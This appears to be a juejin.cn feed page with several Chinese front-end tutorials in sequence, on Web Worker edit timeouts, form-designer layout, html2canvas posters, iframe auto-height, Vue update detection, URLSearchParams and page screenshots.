其中的隐藏我们并不需要用到,而且过了 10s 后如果反复的切换标签,“页面已失效”的提示会反复的弹出,因为我们并没有进行控制。


此时我们也需要区分过了 10s 后用户是停留在当前页面还是离开了页面又返回了。


如果是停留,那么页面属性为 visible。如果是返回,那么就需要监听 visibilitychange 事件并且页面属性为 visible


let timeCount = 0; // 全局中定义变量,用以控制切换标签页后的提示次数。

myWorker.addEventListener("message", (e) => {
if (e.data.notime >= 10) {
onTimingEnd();
if (document.visibilityState === "visible") {
message.error("页面已失效");
pageGoBack();
timeCount = 1; // 触发了提示就禁止它后续再触发
}
document.addEventListener("visibilitychange", function () {
if (document.visibilityState == "visible" && timeCount == 0) {
message.error("页面已失效");
pageGoBack();
timeCount = 1; // 触发了提示就禁止它后续再触发
}
});
}
})

最终代码


替换成20分钟了


// editEmail.vue(主线程)
<template>
<div>编辑页面哦</div>
<input @change="onChange" />
</template>

<script>
const myWorker = new Worker('/worker.js'); // 创建worker,函数里的值为 webWorker 文件名

// 向 worker.js 线程发送消息,对应 worker.js 线程中的 e.data
myWorker.postMessage('start');

// 开启定时
const onTimeStart = () => {
myWorker.postMessage('start');
}
// 停止定时
const onTimeEnd = () => {
myWorker.postMessage('end');
}
// 重置定时
const onTime = () => {
onTimeEnd();
onTimeStart();
}

myWorker.addEventListener('message', e => { // 从 worker.js 那接收消息,每隔一秒都会接收到
console.log(e.data); // {text: 'editing', sum: sum},worker线程发送的消息
campaignListLock(); // 发起续租请求
if (e.data.sum >= 20) { // 超过 20 分钟,终止续租并提示页面失效
onTimingEnd();
if (document.visibilityState === "visible") {
message.error("页面已失效");
pageGoBack();
timeCount = 1; // 触发了提示就禁止它后续再触发
}
document.addEventListener("visibilitychange", function () {
if (document.visibilityState == "visible" && timeCount == 0) {
message.error("页面已失效");
pageGoBack();
timeCount = 1; // 触发了提示就禁止它后续再触发
}
});
}
});

const onChange = () => {
onTime();
}

</script>


// worker.js(worker线程)
let timer;
self.addEventListener('message', e => { // 接收到消息
console.log(e.data); // Greeting from Main.js,主线程发送的消息

let sum = 0;
let msg;

if (e.data === "start") {
timer = setInterval(() => {
sum += 1;
msg = {
text: 'editing',
sum
}
self.postMessage(msg); // 向主线程发送消息 msg 对象
}, 60 * 1000) // 每分钟 sum 加 1 标识积累了 1 分钟
} else {
clearInterval(timer);
}
});

作者:吃腻的奶油
来源:juejin.cn/post/7340636105765535796
收起阅读 »

架构: 自由表单设计界面布局

web
简介 设计表单设置界面是为了给用户提供一个直观、吸引人的操作界面,方便用户对表单进行个性化的设置。就像我们日常生活中玩游戏一样,游戏中的设置界面可以让我们调整游戏音量、画面效果等,以获得更好的游戏体验。 设计表单设置界面可以让用户自定义表单的外观和功能。就像换...
继续阅读 »

简介


设计表单设置界面是为了给用户提供一个直观、吸引人的操作界面,方便用户对表单进行个性化的设置。就像我们日常生活中玩游戏一样,游戏中的设置界面可以让我们调整游戏音量、画面效果等,以获得更好的游戏体验。


设计表单设置界面可以让用户自定义表单的外观和功能。就像换装一样,通过设置界面,用户可以选择不同的颜色、字体、图标等,将表单变得更漂亮、更符合自己的喜好。不仅如此,用户还可以设置表单的输入验证规则、选项布局等,使表单更加智能、便捷,确保数据的准确性和一致性。


此外,设计吸引人的表单设置界面还可以提升用户的参与感和满足感。当用户看到一个漂亮、有趣的设置界面时,不仅能够激发他们的兴趣和好奇心,还能给他们一种参与到表单设计的快乐感。通过提供丰富的个性化设置选项和交互效果,用户可以将自己的想法和创意融入到表单中,让表单更有个性和趣味性。


设计表单设置界面还可以提供简洁明了的操作流程和指导。一个好的设置界面应该具备清晰的布局和明确的操作步骤,用户在使用时能够快速找到需要的设置选项,并且清楚地知道如何进行设置。同时,设置界面还应该提供一些提示和建议,帮助用户更好地理解设置选项的作用和影响,减少用户的困惑和错误操作。


如何设计表单操作界面?


模块划分


为了更好地讲解该部分内容,我们可以直接上手设计一个通用的表单操作界面。如下图所示,可以看到它差不多涵盖了我们常见的大部分组件……XXXX



从图中我们可以看到,主要包括了如下三个大的模块:



  • 表单设计器模块:这是自由表单设计的核心模块,用户通过该模块可以创建、编辑和配置表单的各个元素,如输入字段、选项、验证规则等。表单设计器通常提供简单直观的界面,让用户可以轻松地拖拽和调整表单元素的位置、大小和样式。

  • 表单属性设置模块:这个模块用于设置表单的基本属性,如表单名称、描述、提交按钮文本等。用户可以在该模块中对表单的基本信息进行编辑和修改。

  • 字段属性设置模块:用户可以选择一个字段或元素,然后在该模块中设置该字段的属性,如标签文本、默认值、是否必填、验证规则等。通过字段属性设置模块,用户可以灵活地对表单中的各个字段进行个性化的配置和定制。


当然,如果加上表单预览实际效果,那就是锦上添花。因此,我们还可以加上个“表单预览模块”用于显示用户设计的表单的实时预览效果,使用户可以随时查看表单的外观和布局。在该模块中,用户可以模拟填写表单,测试表单的交互和功能。具体显示效果如下:




当然,除了以上四个模块,还有其他的模块点,具体可以按照我们个人或者公司的需求,进行合理扩展。


步骤


设置低代码自由表单的操作界面,可以按照以下步骤进行。



  1. 确定操作界面的目标和功能:明确你希望操作界面能够实现什么功能,满足哪些需求。

  2. 设计主要操作区域:确定主要的操作区域,通常会包括表单编辑、保存、提交等功能按钮。

  3. 定义表单字段的布局和样式:根据表单的字段分组情况,确定各字段在操作界面的布局方式,如垂直排列、水平排列等。为字段选择合适的输入控件和标签样式,并考虑必要的验证信息。

  4. 设计其他操作元素:除了表单字段,还可以考虑添加其他操作元素,如工具栏、菜单、侧边栏等,用于辅助用户进行操作和导航。

  5. 考虑交互设计:确定用户与操作界面进行交互的方式,包括按钮点击、字段编辑、菜单选项等。确保用户能够直观地理解和使用操作界面。

  6. 设计响应式布局:如果需要在不同设备上使用操作界面,确保界面能够根据不同屏幕尺寸进行自适应布局,保证在各种设备上都能显示良好的用户体验。

  7. 进行布局调整和优化:根据实际效果进行布局调整和优化,确保界面的整体美观和易用性。


实战规划


经过上面大致的设计介绍,我想你应该有了初步的认识,也大概有了个设计思路。那么,接下来我们开始规划和设计实战项目中的表单设计页面的布局了。


布局规划


先来看下这张规划图:



共分四个模块:



  1. 表单元素;

  2. 元素布局;

  3. 属性设置(包括字段属性、布局属性及其他,而这里只针对字段属性来实践);

  4. 预览。



其中预览模块可以另起一个页面,更为直观。用户可以随时查看表单的外观和布局。还可以提供一些交互功能,例如表单提交的模拟按钮,让用户可以体验表单实际的交互效果。


设计的界面,并不需要你有多花里胡哨,相反,界面的简洁性和易用性,直观的操作方式和清晰的视觉指引,才可帮助用户快速熟悉并使用该低代码自由表单工具。同时,界面设计也应该考虑不同设备和屏幕尺寸的适配(这里针对 PC 和 h5 做一个示范),以确保在不同的平台上都能够良好地展示和操作。


流程模版开发规划-扩展


当我们封装了表单设计这一块功能后,就可以进一步与流程结合


如下例子:


假设我们封装了一个低代码自由表单设计的功能,我们可以将表单设计与流程管理结合使用,实现一个请假流程的应用。



  1. 表单设计:用户使用表单设计功能创建一个请假表单,包括请假类型、请假时间、请假事由等字段。可以设置字段的属性,例如是否必填、格式校验等。

  2. 流程设计:用户使用流程管理功能创建一个请假流程,包括审批节点、流程图设计、流程条件等。可以设置不同节点的审批人、流程条件,以及流程的流转路径。

  3. 表单与流程关联:在表单设计界面中,用户可以将请假表单与请假流程进行关联。可以选择使用该表单作为流程的申请表单,并将表单的字段与流程的变量进行映射。

  4. 表单数据与流程集成:当用户填写请假表单并提交后,表单的数据将被保存,并触发请假流程的启动。流程将根据流程设计中的条件和审批人设定,自动进行流转和审批。

  5. 审批和处理:在流程进行中,审批人可以通过流程管理界面进行审批操作。审批人可以查看已提交的请假表单数据,根据情况进行批准或拒绝,并可以填写审批意见等备注信息。

  6. 流程状态和统计:用户可以通过流程管理界面查看每个请假流程的状态、进度和统计信息。可以了解每个流程当前所处的节点,各个节点的审批状态,以及整个流程的总体情况。


通过将表单设计和流程管理功能结合,我们可以实现一个完整的请假申请流程,简化了传统的请假流程管理流程,同时减少了开发的工作量,提高了工作效率


作者:糖墨夕
来源:juejin.cn/post/7302965547087527977
收起阅读 »

web端屏幕截屏,生成自定义海报!

web
在一些社群网站,经常会碰到问题、活动、商品的信息分享,这种分享通常是以海报的形式发送给好友或保存到本地。在这种场景下,海报肯定是动态变化的,所以我们要动态的渲染内容并生成图片,海报其实就是图片。 官网:html2canvas 海报示例: 介绍 了解 htm...
继续阅读 »

在一些社群网站,经常会碰到问题、活动、商品的信息分享,这种分享通常是以海报的形式发送给好友或保存到本地。在这种场景下,海报肯定是动态变化的,所以我们要动态的渲染内容并生成图片,海报其实就是图片。

官网:html2canvas

海报示例:

在这里插入图片描述




介绍


了解 html2canvas,它是如何工作的以及它的一些局限性。

在你开始使用这个脚本以前,这里有些帮助你更好的了解脚本的好处及其的一些局限性。


关于


html2canvas 是一个 HTML 渲染器。该脚本允许你直接在用户浏览器截取页面或部分网页的“屏幕截屏”,屏幕截图是基于 DOM,因此生成的图片并不一定 100% 一致,因为它没有制作实际的屏幕截图,而是根据页面上可用的信息构建屏幕截图。


它是如何工作的


该脚本通过读取 DOM 以及应用于元素的不同样式,将当前页面呈现为 canvas 图像。

它不需要来自服务器的任何渲染,因为整个图像是在客户端上创建的。但是,由于它太依赖于浏览器,因此该库不适合在 nodejs 中使用。它也不会神奇地规避任何浏览器内容策略限制,因此呈现跨域内容将需要代理来将内容提供给相同的源。




开始


准备工作


安装依赖


npm install html2canvas

在需要的页面引入依赖


import html2canvas from 'html2canvas'

然后就可以使用html2canvas相关API了。


定义海报结构


在使用之前我们要先定义好页面,我们先在页面上写好海报的html


class="html2canvas">
<view class="poster_title">
海报标题
view>

<view class="img_box">
<img class="img_case" src="http://image.gwmph.com/weican/2024/02/27/695aa1d4c2394be48925a6858dd68e9d.jpg" alt="" />
view>

<view class="poster_title" @click="getPoster()">
确定分享
view>



	.html2canvas{
padding: 20rpx;
.poster_title{
text-align: center;
}
.img_box{
display: flex;
justify-content: space-around;
margin: 10rpx 0;
.img_case{
width: 300rpx;
height: 300rpx;
}
}
}

image.png


script部分


在这里我们要区分两种script类型,一种正常的,一种是renderjs

在一个页面中script可以有多个,它也可以写在任意位置,如果我们做正常的逻辑操作,可以在普通的script中编码;如果我们要对页面进行交互,请使用renderjs



renderjs是一个运行在视图层的js。它比WXS更加强大。它只支持app-vueweb
renderjs的主要作用有2个:



  1. 大幅降低逻辑层和视图层的通讯损耗,提供高性能视图交互能力

  2. 在视图层操作dom,运行 for web 的 js库





点击确定分享,我们则会调用getPoter来生成图片,canvas.toDataURL生成的图片为base64格式,下面是生成后的内容:

在这里插入图片描述


然后我们通过a标签图片进行下载,下面是生成海报并下载的完整逻辑。




下面就是下载下来的图片

在这里插入图片描述

在这里插入图片描述




注意事项


1、多个script




<script module="html2canvas" lang="renderjs">
import html2canvas from 'html2canvas';
export default {
methods: {
}
}
script>


uniapp中,我们如果想要提供逻辑层和视图层的通讯效率,可能会使用renderjs,你可能会在页面中看到多个script,这是正常的,我们可能会将生成海报的功能封装成组件,通过组件传参的方式在多个页面复用,这种结构页面就可能有两个script,一个是正常的vuescrpit,用于处理正常逻辑以及接收传参和事件等,一个是用于视图层通讯的renderjs


2、html2canvas不要用image标签


我们在生成图片的时候,可能会调整清晰度和分辨率,让画面更高清,html2canvas应该使用img标签,而不是image标签,image标签不会对html2canvasscaledpi生效。


3、html2canvas对于现在的css高级属性的支持


html2canvas可能不会支持css高级属性,例如:

● background-blend-mode

● border-image

● box-decoration-break

● box-shadow

● filter

● font-variant-ligatures

● mix-blend-mode

● object-fit

● repeating-linear-gradient()

● writing-mode

● zoom

● ......

对于渐变文字裁切之类的高阶属性可能不支持,如果海报生成的时候没有生效,那就是不支持,需要思考替代方案。




最后


1、html2canvas是基于html的渲染器,只要定义好海报结构即可生成,可以看成html2canvas就是将页面结构转换成图片。

2、不要使用image标签,应该使用img标签。

3、不支持部分css高阶属性。




作者:DCodes
来源:juejin.cn/post/7340208335982903322
收起阅读 »

2024年令人眼前一亮的Web框架

web
本文翻译自 dev.to/wasp/web-fr… 感谢您的阅读! 介绍 2024年正向我们走来,我们怀着满腔热情为新的一年制定计划,探索未来一年可以学习或实现的目标。此时此刻,正是探寻来年值得学习的框架、理解其功能和特色的最佳时刻。我们以2023年JS 新...
继续阅读 »

本文翻译自 dev.to/wasp/web-fr…

感谢您的阅读!



介绍


2024年正向我们走来,我们怀着满腔热情为新的一年制定计划,探索未来一年可以学习或实现的目标。此时此刻,正是探寻来年值得学习的框架、理解其功能和特色的最佳时刻。我们以2023年JS 新星名单为指引,力求保持客观公正的态度。对于每一个特色框架,我们都将突出其最大的优势,使您能够全面理解它们的优点,从而选择适合自己的框架进行尝试!


HTMX - 返璞归真🚲


htmx-演示


为谁而设:



  • 你希望减少JavaScript的编写量

  • 你希望代码更简单,以超媒体为中心


HTMX在2023年迅速走红,过去一年间在GitHub上赢得了大量星标。HTMX并非普通的JS框架。如果你使用HTMX,你将大部分时间都花在超媒体的世界中,以与我们通常对现代Web开发的JS密集型视角完全不同的视角看待Web开发。HTMX利用HATEOAS(Hypermedia作为应用程序状态的引擎)的概念,使开发人员能够直接从HTML访问浏览器功能,而不是使用Javascript。


此外,它还证明了通过发布令人惊叹的表情符号并以口碑作为主要营销手段,你可以获得人气和认可。不仅如此,你还可能成为HTMX的CEO!它吸引了许多开发人员尝试这种构建网站的方法,并重新思考他们当前的实践。所有这些都使2024年对于这个库的未来发展充满了激动人心的可能性。


Wasp - 全栈,开箱即用🚀


开放SaaS


为谁而设:



  • 你希望快速构建全栈应用

  • 你希望在一个出色的一体化解决方案中继续使用React和Node.js,而无需手动挑选堆栈的每一部分

  • 你希望获得一个为React和Node.js预配置的免费SaaS模板—— Open SaaS


对于希望简单轻松地全面控制其堆栈的工具的用户,无需再寻找!Wasp是一个有主见的全栈框架,利用其编译器以快速简便的方式为你的应用创建数据库、后端和前端。它使用React、Node.js和Prisma,这些都是全栈Web开发人员正在使用的一些最著名的工具。


Wasp的核心是main.wasp文件,它作为你大部分需求的一站式服务。在其中,你可以定义:



  • 全栈身份验证

  • 数据库架构

  • 异步作业,无需额外的基础设施

  • 简单且灵活的部署

  • 全栈类型安全

  • 发送电子邮件(Sendgrid、MailGun、SMTP服务器等)

  • 等等……


最酷的事情是?经过编译器步骤后,你的Wasp应用程序的输出是一个标准的React + Vite前端、Node.js后端和PostgreSQL数据库。从那里,你可以使用单个命令轻松将一切部署到Fly.io等平台。


尽管有些人可能会认为Wasp的有主见立场是负面的,但它却是Wasp众多全栈功能的驱动力。使用Wasp,单个开发人员或小型团队启动全栈项目变得更加容易,尤其是如果你使用预制的模板或OpenSaaS作为你的SaaS起点。由于项目的核心是定义明确的,因此开始一个项目并可能在几天内创建自己的全栈SaaS变得非常容易!


此外,还有一点很酷的是,大多数Web开发人员对大多数现有技术的预先存在的知识仍然在这里适用,因为Wasp使用的技术已经成熟。


Solid.js - 一流的reactivity库 ↔️


扎实的例子


适合人群:



  • 如果你希望代码具有高响应性

  • 现有的React开发人员,希望尝试一种对他们来说学习曲线较低的高性能工具


Solid.js是一个性能很高的Web框架,与React有一些相似之处。例如,两者都使用JSX,采用基于函数的组件方法,但Solid.js不使用虚拟DOM,而是将你的代码转换为纯JavaScript。然而,Solid.js因其利用信号、备忘录和效果实现细粒度响应性的方法而更加出名。信号是Solid.js中最简单、最知名的基本元素。它们包含值及其获取和设置函数,使框架能够观察并在DOM中的确切位置按需更新更改,这与React重新渲染整个组件的方式不同。


Solid.js不仅使用JSX,还对其进行了增强。它提供了一些很酷的新功能,例如Show组件,它可以启用JSX元素的条件渲染,以及For组件,它使在JSX中更轻松地遍历集合变得更容易。另一个重要的是,它还有一个名为Solid Start的元框架(目前处于测试版),它使用户能够根据自己的喜好,使用基于文件的路由、操作、API路由和中间件等功能,以不同的方式渲染应用程序。


Astro - 静态网站之王👑


天文示例


适合人群:



  • 如果您需要一款优秀的博客、CMS重型网站工具

  • 需要一个能够集成其他库和框架的框架


如果您在2023年构建了一个内容驱动的网站,那么很有可能您选择了Astro作为首选框架来实现这一目标!Astro是另一个使用不同架构概念来脱颖而出的框架。对于Astro来说,这是岛屿架构。在Astro的上下文中,岛屿是页面上的任何交互式UI组件,与静态内容的大海形成鲜明对比。由于这些岛屿彼此独立运行,因此页面可以有任意数量的岛屿,但它们也可以共享状态并相互通信,这非常有用。


关于Astro的另一个有趣的事情是,他们的方法使用户能够使用不同的前端框架,如React、Vue、Solid来构建他们的网站。因此,开发人员可以轻松地在其当前知识的基础上构建网站,并利用可以集成到Astro网站中的现有组件。


Svelte - 简单而有效🎯


精简演示


适合人群:



  • 您希望学习一个简单易上手的框架

  • 追求简洁且代码执行速度快的开发体验


Svelte是另一个尝试通过尽可能直接和初学者友好的方式来简化和加速Web开发的框架。它是一个很容易学习的框架,因为要使一个属性具有响应性,您只需声明它并在HTML模板中使用它。 每当在JavaScript中程序化地更新值时(例如,通过触发onClick事件按钮),它将在UI上反映出来,反之亦然。


Svelte的下一步将是引入runes。runes将是Svelte处理响应性的方式,使处理大型应用程序变得更加容易。类似于Solid.js的信号,符文通过使用类似函数的语句提供了一种直接访问应用程序响应性状态的方式。与Svelte当前的工作方式相比,它们将允许用户精确定义整个脚本中哪些部分是响应性的,从而使组件更加高效。类似于Solid和Solid Start,Svelte也有其自己的框架,称为SvelteKit。SvelteKit为用户提供了一种快速启动其由Vite驱动的Svelte应用程序的方式。它提供了路由器、构建优化、不同的渲染和预渲染方式、图像优化等功能。


Qwik - 非常快🚤


qwik演示


适合人群:



  • 如果您想要一个高性能的Web应用

  • 现有的React开发人员,希望尝试一种高性能且学习曲线平缓的框架


最后一个但同样重要的框架是Qwik。Qwik是另一个利用JSX和函数组件的框架,类似于Solid.js,为基于React的开发人员提供了一个熟悉的环境,以便尽快上手。正如其名字所表达的,Qwik的主要目标是实现您应用程序的最高性能和最快执行速度。


Qwik通过利用可恢复性(resumability)的概念来实现其速度。简而言之,可恢复性基于在服务器上暂停执行并在客户端上恢复执行而无需重新播放和下载全部应用程序逻辑的想法。这是通过延迟JavaScript代码的执行和下载来实现的,除非有必要处理用户交互,这是一件非常棒的事情。它使整体速度提高,并将带宽降低到绝对最小值,从而实现近乎瞬间的加载。


结论


在我们所提及的所有框架和库中,最大的共同点是它们的熟悉度。每个框架和库都试图以构建在当前知识基础上的方式吸引潜在的新开发者,而不是做一些全新的事情,这是一个非常棒的理念。


当然,还有许多我们未在整篇文章中提及但值得一提的库和框架。例如,Angular 除了新的标志和文档外,还包括信号和新的控制流。还有 Remix,它增加了对 Vite、React Server Components 和新的 Remix SPA 模式的支持。最后,我们不能忘记 Next.js,它在过去几年中已成为 React 开发者的默认选择,为新的 React 功能铺平了道路。


作者:腾讯TNTWeb前端团队
来源:juejin.cn/post/7339830464000213027
收起阅读 »

自适应iframe高度

web
使用iframe嵌入页面很方便,但必须在父页面指定iframe的高度。如果iframe页面内容的高度超过了指定高度,会出现滚动条,很难看。如何让iframe自适应自身高度,让整个页面看起来像一个整体?在HTML5之前,有很多使用JavaScript的Hack技...
继续阅读 »

使用iframe嵌入页面很方便,但必须在父页面指定iframe的高度。如果iframe页面内容的高度超过了指定高度,会出现滚动条,很难看。

如何让iframe自适应自身高度,让整个页面看起来像一个整体?

在HTML5之前,有很多使用JavaScript的Hack技巧,代码量大,而且很难通用。随着现代浏览器引入了新的ResizeObserver API,解决iframe高度问题就变得简单了。

我们假设父页面是index.html,要嵌入到iframe的子页面是target.html,在父页面中,先向页面添加一个iframe

const iframe1 = document.createElement('iframe');
iframe1.src = 'target.html';
iframe1.onload = autoResize;
document.getElementById('sameDomain').appendChild(iframe1);


iframe载入完成后,触发onload事件,然后自动调用autoResize()函数:

function autoResize(event) {
// 获取iframe元素:
const iframeEle = event.target;
// 创建一个ResizeObserver:
const resizeRo = new ResizeObserver((entries) => {
let entry = entries[0];
let height = entry.contentRect.height;
iframeEle.style.height = height + 'px';
});
// 开始监控iframe的body元素:
resizeRo.observe(iframeEle.contentWindow.document.body);
}


通过创建ResizeObserver,我们就可以在iframebody元素大小更改时获得回调,在回调函数中对iframe设置一个新的高度,就完成了iframe的自适应高度。

跨域问题

ResizeObserver很好地解决了iframe的监控,但是,当我们引入跨域的iframe时,上述代码就失效了,原因是浏览器阻止了跨域获取iframebody元素。

要解决跨域的iframe自适应高度问题,我们需要使用postMessage机制,让iframe页面向父页面主动报告自身高度。

假定父页面仍然是index.html,要嵌入到iframe的子页面是http://xyz/cross.html,在父页面中,先向页面添加一个跨域的iframe

const iframe2 = document.createElement('iframe');
iframe2.src = 'http://xyz/cross.html';
iframe2.onload = autoResize;
document.getElementById('crossDomain').appendChild(iframe2);


cross.html页面中,如何获取自身高度?

我们需要现代浏览器引入的一个新的MutationObserver API,它允许监控任意DOM树的修改。

cross.html页面中,使用以下代码监控body元素的修改(包括子元素):

// 创建MutationObserver:
const domMo = new MutationObserver(() => {
// 获取body的高度:
let currentHeight = body.scrollHeight;
// 向父页面发消息:
parent.postMessage({
type: 'resize',
height: currentHeight
}, '*');
});
// 开始监控body元素的修改:
domMo.observe(body, {
attributes: true,
childList: true,
subtree: true
});


iframe页面的body有变化时,回调函数通过postMessage向父页面发送消息,消息内容是自定义的。在父页面中,我们给window添加一个message事件监听器,即可收取来自iframe页面的消息,然后自动更新iframe高度:

window.addEventListener('message', function (event) {
let eventData = event.data;
if (eventData && eventData.type === 'resize') {
iframeEle.style.height = eventData.height + 'px';
}
}, false);


使用现代浏览器提供的ResizeObserverMutationObserver API,我们就能轻松实现iframe的自适应高度。

点击阅读原文查看演示页面:

作者:廖雪峰
来源:mp.weixin.qq.com/s/8NmYRzPlTTihJVUybkqqOQ

收起阅读 »

vue项目部署自动检测更新

web
前言 当我们重新部署前端项目的时候,如果用户一直停留在页面上并未刷新使用,会存在功能使用差异性的问题,因此,当前端部署项目后,需要提醒用户有去重新加载页面。 在以往解决方案中,不少人会使用websocket去通知客户端更新,但是为了这么个小功能加入websoc...
继续阅读 »

前言


当我们重新部署前端项目的时候,如果用户一直停留在页面上并未刷新使用,会存在功能使用差异性的问题,因此,当前端部署项目后,需要提醒用户有去重新加载页面。


在以往解决方案中,不少人会使用websocket去通知客户端更新,但是为了这么个小功能加入websocket是十分不明智的,新方案的思路是去轮询请求index.html文件,从中解析里面的js文件,由于vue打包后每个js文件都有指纹标识,因此可以对比每次打包后的指纹,分析文件是否存在变动,如果有变动即可提示用户更新


原理


自动更新.png


封装函数 auto-update.js


let lastSrcs; //上一次获取到的script地址
let needTip = true; // 默认开启提示

const scriptReg = /<script.*src=["'](?<src>[^"']+)/gm;

async function extractNewScripts() {
const html = await fetch('/?_timestamp=' + Date.now()).then((resp) => resp.text());
scriptReg.lastIndex = 0;
let result = [];
let match;
while ((match = scriptReg.exec(html))) {
result.push(match.groups.src)
}
return result;
}

async function needUpdate() {
const newScripts = await extractNewScripts();
if (!lastSrcs) {
lastSrcs = newScripts;
return false;
}
let result = false;
if (lastSrcs.length !== newScripts.length) {
result = true;
}
for (let i = 0; i < lastSrcs.length; i++) {
if (lastSrcs[i] !== newScripts[i]) {
result = true;
break
}
}
lastSrcs = newScripts;
return result;
}
const DURATION = 5000;

function autoRefresh() {
setTimeout(async () => {
const willUpdate = await needUpdate();
if (willUpdate) {
const result = confirm("页面有更新,请刷新查看");
if (result) {
location.reload();
}
needTip = false; // 关闭更新提示,防止重复提醒
}
if(needTip){
autoRefresh();
}
}, DURATION)
}
autoRefresh();

引入


在main.js中引入


// 引入自动更新提醒
import "@/utils/auto-update.js"

使用element-ui的notify提示更新


修改auto-update.js



let lastSrcs; //上一次获取到的script地址
let needTip = true; // 默认开启提示

const scriptReg = /<script.*src=["'](?<src>[^"']+)/gm;

async function extractNewScripts() {
const html = await fetch('/?_timestamp=' + Date.now()).then((resp) => resp.text());
scriptReg.lastIndex = 0;
let result = [];
let match;
while ((match = scriptReg.exec(html))) {
result.push(match.groups.src)
}
return result;
}

async function needUpdate() {
const newScripts = await extractNewScripts();
if (!lastSrcs) {
lastSrcs = newScripts;
return false;
}
let result = false;
if (lastSrcs.length !== newScripts.length) {
result = true;
}
for (let i = 0; i < lastSrcs.length; i++) {
if (lastSrcs[i] !== newScripts[i]) {
result = true;
break
}
}
lastSrcs = newScripts;
return result;
}
const DURATION = 5000;

function autoRefresh() {
setTimeout(async () => {
const willUpdate = await needUpdate();
if (willUpdate) {
// 延时更新,防止部署未完成用户就刷新空白
setTimeout(()=>{
window.dispatchEvent(
new CustomEvent("onmessageUpdate", {
detail: {
msg: "页面有更新,是否刷新?",
},
})
);
},30000);
needTip = false; // 关闭更新提示,防止重复提醒
}
if(needTip){
autoRefresh();
}
}, DURATION)
}
autoRefresh();

编写模板


CnNotify.vue文件


<template>
<div class="cn_notify">
<div class="content">
<i class="el-icon-message-solid"></i>
{{ msg }}
</div>
<el-row :gutter="20">
<el-col :span="7" :offset="10">
<el-button type="primary" @click="onSubmit">确定</el-button>
</el-col>
<el-col :span="7">
<el-button @click="cancle">取消</el-button>
</el-col>
</el-row>
</div>
</template>
<script>
export default {
props: {
msg: {
type: String,
default: "",
},
},
data() {
return {};
},
created() {},
methods: {
// 点击确定更新
onSubmit() {
location.reload();
},
// 关闭
cancle() {
this.$parent.close();
},
},
};
</script>
<style lang='less' scoped>
.cn_notify {
.content {
padding: 20px 0;
}
.footer {
display: flex;
flex-direction: row-reverse;
}
}
</style>

使用


App.vue


// 引入
import CnNotify from "@/components/CnNotify.vue";
components: {
CnNotify,
},
mounted() {
this.watchUpdate();
},
methods: {
watchUpdate() {
window.addEventListener("onmessageUpdate", (res) => {
let msg = res.detail.msg;
this.$notify({
title: "提示",
duration: 0,
position: "bottom-right",
dangerouslyUseHTMLString: true,
message: this.$createElement("CnNotify", {
// 使用自定义组件
ref: "CnNotify",
props: {
msg: msg,
},
}),
});
});
},
},

作者:howcode
来源:juejin.cn/post/7246997498572619831
收起阅读 »

前端接口多参数请求时如何优雅封装

web
接口多参数优雅封装 开发中经常会遇到有一个接口需要的query参数比较多, 参数的数据类型也不全是 string | number ,还存在数组或者其他类型的情况。 我以前的做法 因为是query参数,我以前的写法就是在接口地址上面进行字符串拼接。 asyn...
继续阅读 »

接口多参数优雅封装


开发中经常会遇到有一个接口需要的query参数比较多,
参数的数据类型也不全是 string | number ,还存在数组或者其他类型的情况。


我以前的做法


因为是query参数,我以前的写法就是在接口地址上面进行字符串拼接。


 async function getJobList(
clusterId: string,
page: number,
pageSize: number,
JobName : string,
JobStatus : string,
Username : string,
Queue : string,
StartTime: string,
EndTime: string
) {
if (JobStatus == undefined) JobStatus = '';
const res = await apiRequest.get(
`/api/Cluster/${clusterId}/Job?page=${page}&pageSize=${pageSize}&JobName=${JobName}&JobStatus=${jobStatus}&Username=${Username}&Queue=${Queue}&StartTime=${
StartTime ? StartTime : ''}
&EndTime=${EndTime ? EndTime : ''}`

);
return res;
}

以前觉得这样做没什么问题,就是写起来很不优雅,代码的可读性也特别差。


那能不能不安代码的格式化自己整理一下表呢?为方阅读这样去写


 const res = await apiRequest.get(
`/api/Cluster/${clusterId}/Job?${page ? 'page=' + page : ''}
${pageSize ? '&pageSize=' + pageSize : ''}
${JobName ? '&JobName=' + JobName : ''}
${JobStatus ? JobStatus?.map((x) => '&JobStatus=' + x).join('') : ''}
${Username ? '&Username=' + Username : ''}
${Queue ? '&Queue=' + Queue : ''}
${StartTime ? '&StartTime=' + StartTime : '' }
${EndTime ? '&EndTime=' + EndTime : '' }`

);

这种写法看起来更易读了,但是 ` 中的换行和空格会保留在里面,参数就会莫名的加上几个空格,查询参数就不对了(好心干坏事了)。


再说,如果参数更多呢,那岂不是要再去一个一个拼接,时间成本也太高了,有没有更优雅的写法呢?


解决办法


在MDN上看到了这个URLSearchParams接口


URLSearchParams 接口定义了一些实用的方法来处理 URL 的查询字符串。


通过URLSearchParams.append(name, value)方法可以不断往里面添加参数


下面是更改后的代码


 async function getJobList(
clusterId: string,
page: number,
pageSize: number,
JobName?: string,
JobStatus?: Array<string>,
Username?: string,
Queue?: string,
StartTime?: string,
EndTime?: string
) {
if (JobStatus?.length == 0) JobStatus = null;
const add_params = {
page: page,
pageSize: pageSize,
JobName: JobName,
JobStatus: JobStatus,
Username: Username,
Queue: Queue,
StartTime: StartTime,
EndTime: EndTime,
};
const searchParams = new URLSearchParams();
Object.keys(add_params).forEach((key) => {
if ( add_params[key] !== undefined && add_params[key] !== null ) {
const value = add_params[key];
if (Array.isArray(value)) {
value.forEach((item) => searchParams.append(key, item));
} else {
searchParams.append(key, value);
}
}
});
const res = await apiRequest.get(
`/api/Cluster/${clusterId}/Job?${searchParams.toString()}`
);
return res;
}


这样去写代码就整洁优雅了太多了


作者:张星宇
来源:juejin.cn/post/7338360121624182820
收起阅读 »

记一次页面截图需求

web
需求背景 上图是我所负责的监控产品,页面上有大量的图表,用户的述求是能对页面截屏从而直接分享给别人。 那么就有小伙伴要发问了,为什么不直接把页面链接分享给别人呢? 首先,页面可能有权限校验,被分享的人可能没有该页面的访问权限,而图片不会有这个问题;其次,实践...
继续阅读 »

需求背景



上图是我所负责的监控产品,页面上有大量的图表,用户的述求是能对页面截屏从而直接分享给别人。


那么就有小伙伴要发问了,为什么不直接把页面链接分享给别人呢?


首先,页面可能有权限校验,被分享的人可能没有该页面的访问权限,而图片不会有这个问题;其次,实践表明,如果分享的是链接,用户的点击意愿很低,如果不是直接相关的人往往不会点开链接查看,而如果是图片的话,非常直观,往往第一眼就传递了很多信息给被分享的人。


那么又有小伙伴要发问了,既然如此,为何不让用户自己装一个截屏软件自己截算了?


